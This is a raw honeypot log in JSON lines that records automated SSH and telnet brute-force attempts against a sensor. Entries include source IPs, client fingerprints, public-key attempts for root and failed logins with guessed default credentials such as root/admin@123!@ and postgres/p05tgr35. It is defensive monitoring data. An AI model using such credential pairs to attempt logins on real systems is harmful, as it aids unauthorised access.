{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:03.927159Z","src_ip":"223.233.84.127","session":"c3150f1fe2a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123!@","message":"login attempt [root/admin@123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:05.004763Z","src_ip":"223.233.84.127","session":"c3150f1fe2a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:06.251101Z","src_ip":"223.233.84.127","session":"c3150f1fe2a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":46866,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1283fe0c0ac","protocol":"ssh","message":"New connection: 165.227.170.113:46866 (10.17.0.5:22) [session: d1283fe0c0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:18.235291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:18.240054Z","src_ip":"165.227.170.113","session":"d1283fe0c0ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:18.324498Z","src_ip":"165.227.170.113","session":"d1283fe0c0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hadoop","message":"login attempt [ubuntu/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:18.690478Z","src_ip":"165.227.170.113","session":"d1283fe0c0ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:19.778615Z","src_ip":"165.227.170.113","session":"d1283fe0c0ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.46.167.3","src_port":47994,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5fa7bc16d69","protocol":"telnet","message":"New connection: 39.46.167.3:47994 (159.203.135.109:23) [session: b5fa7bc16d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:45.786693Z"}
{"eventid":"cowrie.session.closed","duration":13.618347406387329,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:59.404940Z","src_ip":"39.46.167.3","session":"b5fa7bc16d69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":36328,"dst_ip":"10.17.0.5","dst_port":22,"session":"5923d35b5f6e","protocol":"ssh","message":"New connection: 165.227.170.113:36328 (10.17.0.5:22) [session: 5923d35b5f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:59.887138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:59.890981Z","src_ip":"165.227.170.113","session":"5923d35b5f6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:59.974246Z","src_ip":"165.227.170.113","session":"5923d35b5f6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"Aa123456","message":"login attempt [ftpuser1/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:00.341289Z","src_ip":"165.227.170.113","session":"5923d35b5f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:01.428528Z","src_ip":"165.227.170.113","session":"5923d35b5f6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":10442,"dst_ip":"10.17.0.5","dst_port":22,"session":"b47fe4aaf995","protocol":"ssh","message":"New connection: 223.233.84.127:10442 (10.17.0.5:22) [session: b47fe4aaf995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:01.999953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:02.004939Z","src_ip":"223.233.84.127","session":"b47fe4aaf995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:02.308962Z","src_ip":"223.233.84.127","session":"b47fe4aaf995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"p05tgr35","message":"login attempt [postgres/p05tgr35] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:03.383033Z","src_ip":"223.233.84.127","session":"b47fe4aaf995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:04.646555Z","src_ip":"223.233.84.127","session":"b47fe4aaf995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00370287895203,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:13.294718Z","src_ip":"38.25.25.113","session":"1ca7414f7543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":34572,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c3d46f66c5d","protocol":"telnet","message":"New connection: 38.25.25.113:34572 (10.17.0.5:23) [session: 0c3d46f66c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:14.699831Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":51266,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2f4eab8b631","protocol":"ssh","message":"New connection: 165.227.170.113:51266 (10.17.0.5:22) [session: b2f4eab8b631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:42.460605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:42.465751Z","src_ip":"165.227.170.113","session":"b2f4eab8b631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:42.557905Z","src_ip":"165.227.170.113","session":"b2f4eab8b631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456a@","message":"login attempt [admin/123456a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:42.971372Z","src_ip":"165.227.170.113","session":"b2f4eab8b631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:44.060726Z","src_ip":"165.227.170.113","session":"b2f4eab8b631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":32948,"dst_ip":"10.17.0.5","dst_port":22,"session":"afd102b38227","protocol":"ssh","message":"New connection: 223.233.84.127:32948 (10.17.0.5:22) [session: afd102b38227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:54.636635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:54.641268Z","src_ip":"223.233.84.127","session":"afd102b38227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:54.933624Z","src_ip":"223.233.84.127","session":"afd102b38227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hadoop","message":"login attempt [ubuntu/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:55.984285Z","src_ip":"223.233.84.127","session":"afd102b38227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:56:57.237817Z","src_ip":"223.233.84.127","session":"afd102b38227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.197.64","src_port":57712,"dst_ip":"10.17.0.5","dst_port":22,"session":"81233c765444","protocol":"ssh","message":"New connection: 91.208.197.64:57712 (10.17.0.5:22) [session: 81233c765444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:03.718736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:03.723769Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:03.850618Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:50:e4:7f:46:af:56:35:9b:ed:e6:aa:8c:46:76:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpfXrMxJ3B48Nhdo7NqMZNqnaefhTsts3qUBfAsR16ntEVUlXq8DCXkHVYM4HyWDHpWrLXemYZineE4XNc3QGHGSuQcPYrGlnlVNqyIhNPZWBZzIQ3wXRTZ1Dr6sTRE+0pL1H2tqMr04oGQryhb5po9WOGEJHO8xINGgSxqJg2hnXzwj3tRKce0FPzMrFGZSY4BKX56h+EoS1Q62JFLnb4UcIM0r9zBn4jOC739ZDE9KHJ4huoJ6+hRVY3xdbR50usN8jwhGa9H5PJQrS1tuE/Rd2OOtX2YmX4tJG4zDc59XyO20tqmN03zVC5PNvWFxRTRNdNSVhvEC0eSB5a+H1v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:50:e4:7f:46:af:56:35:9b:ed:e6:aa:8c:46:76:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:04.437275Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:50:e4:7f:46:af:56:35:9b:ed:e6:aa:8c:46:76:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpfXrMxJ3B48Nhdo7NqMZNqnaefhTsts3qUBfAsR16ntEVUlXq8DCXkHVYM4HyWDHpWrLXemYZineE4XNc3QGHGSuQcPYrGlnlVNqyIhNPZWBZzIQ3wXRTZ1Dr6sTRE+0pL1H2tqMr04oGQryhb5po9WOGEJHO8xINGgSxqJg2hnXzwj3tRKce0FPzMrFGZSY4BKX56h+EoS1Q62JFLnb4UcIM0r9zBn4jOC739ZDE9KHJ4huoJ6+hRVY3xdbR50usN8jwhGa9H5PJQrS1tuE/Rd2OOtX2YmX4tJG4zDc59XyO20tqmN03zVC5PNvWFxRTRNdNSVhvEC0eSB5a+H1v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:04.441195Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:c7:af:d7:64:68:c0:f5:71:2b:63:7e:8e:9c:a3:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX5iFP+QIVYNJ/xXQInRCz/NjmpSMxLqekYCCIHoF2QyvwzyVKjKMj/Bt0FGiH/XBePoVUGBoQSzKaqxdckblZHZBL+H2PL3IOYr7wpBml/n9ulQwNdplhwE+vHUV6i70eMTp7NHnxgldtDxEdJ0CWbeXOOwrx8sJtFn0998L/5i63uPdpI7CTSbTsyX+64Y4ac/r+UMqvm4nQmwkMJVjqR5imC9JZLgtTyFTodihoTmBQkm3S/2AUQuulqwKRVVbeDMByRsMjFTFzQx9DjwB9+bYK8S9ziavaVGhf23n243fMMnVBTdr8NUUlYylVssoWMlXLjbQyfAhgZIqxxpfJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:c7:af:d7:64:68:c0:f5:71:2b:63:7e:8e:9c:a3:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:04.564728Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
